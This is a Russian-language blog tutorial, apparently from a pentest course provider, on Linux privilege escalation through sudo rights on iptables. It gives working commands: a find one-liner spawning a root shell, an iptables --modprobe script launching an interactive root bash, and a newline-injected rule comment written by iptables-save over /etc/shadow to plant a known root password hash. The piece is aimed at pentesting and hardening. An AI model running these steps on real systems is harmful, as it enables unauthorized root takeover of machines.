Полагаю, что большинство читателей знают, о том, что команда sudo
может быть использована для выполнения других команд с правами другого пользователя, которым обычно является root.
Также полагаю, что многие знают о существовании ресурса https://gtfobins.github.io/ на котором можно узнать о небезопасном использовании некоторых команд Linux.
Например, мы можем получить шелл root просто выполнив команду:
sudo find . -exec /bin/sh \; -quit
То есть, нам достаточно иметь sudo
на выполнение отдельной команды find
, для того, чтобы захватить всю систему.
Однако, не все небезопасные команды есть в вписке этого ресурса и сегодня мы поговорим о том, как получить права root с помощью iptables.
Iptables — это утилита пользовательского пространства в Linux, используемая для настройки правил фильтрации пакетов в брандмауэре ядра Linux, называемом netfilter. По сути, это инструмент командной строки, позволяющий администраторам управлять обработкой сетевого трафика системой.
У iptables
есть параметр ‑modprobe
, предназначенный для загрузки всех необходимых модулей при добавлении правил в цепочку.
--modprobe=команда
Изучив исходный код iptables
, мы видим, что если был указан флаг ‑modprobe
, то вызывается функция int xtables_load_ko(const char *modprobe, bool quiet)
, первым параметром которой является команда modprobe, указанная пользователем.
В качестве первого шага функция xtables_load_ko
проверяет, были ли уже загружены необходимые модули, а если нет, то вызывает функцию int xtables_insmod
(const char modname
, const char modprobe
, bool quiet
), вторым параметром которой является указанная пользователем команда modprobe.
Наконец, функция xtables_insmod
запускает команду, указанную в аргументе ‑modprobe
, с помощью системного вызова execv
:
int xtables_insmod(const char modname, const char modprobe, bool quiet)
{
char *buf = NULL;
char *argv[4];
int status;
/* If they don't explicitly set it, read out of kernel */
if (!modprobe) {
buf = get_modprobe();
if (!buf)
return -1;
modprobe = buf;
}
/*
* Need to flush the buffer, or the child may output it again
* when switching the program thru execv.
*/
fflush(stdout);
switch (vfork()) {
case 0:
argv[0] = (char *)modprobe;
argv[1] = (char *)modname;
if (quiet) {
argv[2] = "-q";
argv[3] = NULL;
} else {
argv[2] = NULL;
argv[3] = NULL;
}
execv(argv[0], argv);
/* not usually reached */
exit(1);
case -1:
free(buf);
return -1;
default: /* parent */
wait(&status);
}
free(buf);
if (WIFEXITED(status) && WEXITSTATUS(status) == 0)
return 0;
return -1;
}
В итоге, если мы можем запустить iptables
от имени root (то есть, помощью sudo
), мы можем использовать его для выполнения произвольных системных команд.
Например, в следующем сценарии мы получим интерактивную оболочку root:
#!/bin/bash
echo -e "/bin/bash -i" > run-me
chmod +x run-me
sudo iptables -L -t nat --modprobe=./run-me
В этом примере мы создаем файл модуля run‑me
, делаем его выполнимым и затем подгружаем в iptables
. В результате мы получаем командную строку с правами root.
Хотя эта техника довольно мощная, у нее есть важное требование: модули ядра, к которым пытается обратиться iptables
, не должны быть загружены.
И здесь возникает главная проблема: в большинстве современных дистрибутивов Linux модули уже загружены, что делает атаку практически невыполнимой. Тем не менее, в случае встраиваемых устройств iptables
все еще эффективен.
Однако, опускать руки рано. Проведем несколько экспериментов с iptables
в Ubuntu
24.04 LTS.
Установим iptables
и в файл /etc/sudoers
добавим следующее:
user ALL=(ALL) NOPASSWD: /usr/bin/iptables
user ALL=(ALL) NOPASSWD: /usr/bin/iptables-save
Закомментируем общее разрешение для всех:
%sudo ALL=(ALL:ALL) ALL
Посмотрим ответ sudo ‑l

Таким образом, команды sudo iptables
или sudo iptables‑save
выполняются без запроса аутентификации.
Теперь вернемся к нашей основной задаче — получению прав root.
Рассмотрим простую команду iptables для добавления правила брандмауэра:
sudo iptables -A INPUT -i lo -j ACCEPT
Результат работы этой команды заключается в добавлении правила к входной цепочке для приема всех входящих пакетов, где входной интерфейс является локальным. Мы можем немедленно проверить действие этого правила, выполнив команду sudo iptables ‑L
. Выход этой команды, как и ожидалось, содержит правило ACCEPT
, которое мы только что загрузили.
Казалось бы все просто и правильно. Но, среди флагов поддерживаемых iptables
есть флаг comment
, который позволяет добавлять комментарии (до 256 символов) к любому правилу. ‑Например: iptables ‑A INPUT ‑s 192.168.0.0/16 ‑m comment ‑comment «Private IP block»
.
Давайте проверим это, слегка изменив наше предыдущее правило:
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment "Allow packets to localhost"
Затем, снова перечислив правила, мы можем увидеть эффект от комментария:

iptables
также предоставляет возможность сделать дамп всех загруженных правил, выполнив iptables ‑S
:

Мы можем добавить новую строку
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'Allow packets to localhost\nThis rule rocks!'
Снова сделаем дамп:

Это определенно интересно — мы выяснили, что iptables
сохраняет новые строки в комментариях, а это значит, что мы можем управлять несколькими произвольными строками в выводе дампа правил iptables.
Прежде чем приступать к выполнению команд, давайте разберемся с командами iptables‑save
и ip6tables‑save
, которые используются для вывода содержимого IP‑ или IPv6-таблицы в легко разбираемом формате либо в STDOUT
, либо в указанный файл.

Похоже, что iptables‑save
тоже сохраняет введенную новую строку. Теперь, когда мы это знаем, мы можем проверить его работоспособность, указав имя файла и поставив ключ ‑f
:

Теперь мы можем перейти к основной части нашего эксплоита — получению прав root. Используя произвольные комментарии, содержащие \n
, через iptables
и запустив iptables‑save
, мы можем писать произвольные файлы от имени root и частично контролировать его строки — частично, да, потому что iptables‑save
выводит некоторые данные, которые нельзя контролировать, до и после нашего введенного комментария.
Давайте попробуем записать вполне корректную запись passwd root
в правило iptables
и перезаписать файл /etc/shadow
через iptables‑save
. Поскольку инжектированная строка будет также содержать хэш пароля пользователя, после перезаписи мы сможем просто запустить su root
и ввести инжектированный пароль.
Для воспроизведения атаки выполним следующие шаги:
Зашифруем новый пароль root в нужном формате, выполнив openssl passwd <password>
Возьмем запись для root в файле /etc/shadow
и скопируем ее куда‑нибудь, заменив значение x в зашифрованном пароле значением, полученным на предыдущем шаге
Внесем поддельную запись root в новый комментарий правила iptables
.

Выполним команду
sudo iptables-save -f /etc/shadow
В результате мы изменили содержимое /etc/shadow
, указав хеш известного нам пароля root. Теперь мы можем просто переключиться на привилегированного пользователя и получить долгожданный шелл root.

Заключение
Мы рассмотрели некоторые манипуляции, которые можно проделать с iptables
для получения прав привилегированного пользователя. Конечно, у нас есть некоторые существенные ограничения, прежде всего это необходимость наличия прав sudo
для iptables
. Администраторы далеко не всегда дают такие права обычным пользователям. Однако, при наличии нужных прав реализовать данную атаку вполне возможно.
Таким образом, использование iptables
это еще один вектор атаки для пентестеров и еще один пункт проверки защищенности системы для безопасников.
Если вам близка тема практической безопасности, обратите внимание на серию открытых уроков курса «Пентест. Инструменты и методы проникновения в действии».
21 июля в 20:00 пройдет занятие «Пентест‑менеджмент: как управлять процессом тестирования на проникновение» — разберем, как выстраивается работа в рамках пентест‑проектов.
7 августа в 20:00 состоится вебинар «COM‑объекты в контексте безопасности Windows» — поговорим о векторах атак и особенностях среды.
А 14 августа в 20:00 вас ждет тема «Логические недостатки в веб‑приложениях» — обсудим, как такие уязвимости возникают и чем они могут быть опасны.
Также вы можете пройти бесплатное тестирование по курсу пентестинга — узнаете, подойдет ли лично вам программа курса.
Чтобы оставаться в курсе самых актуальных технологий и трендов, подписывайтесь на Telegram-канал OTUS.
Комментарии (2)
Yami-no-Ryuu
17.07.2025 18:52Ну как бы by design. Нечего юзеру напрямую iptables дергать. RSBAC в помощь, если нужны под-админы.
Spider55
А как все же правильно? Выполнимым или выполняемым в контексте прав файла?
По мне так выполнимая может быть задача или невыполнимая, а файл все же выполняемый.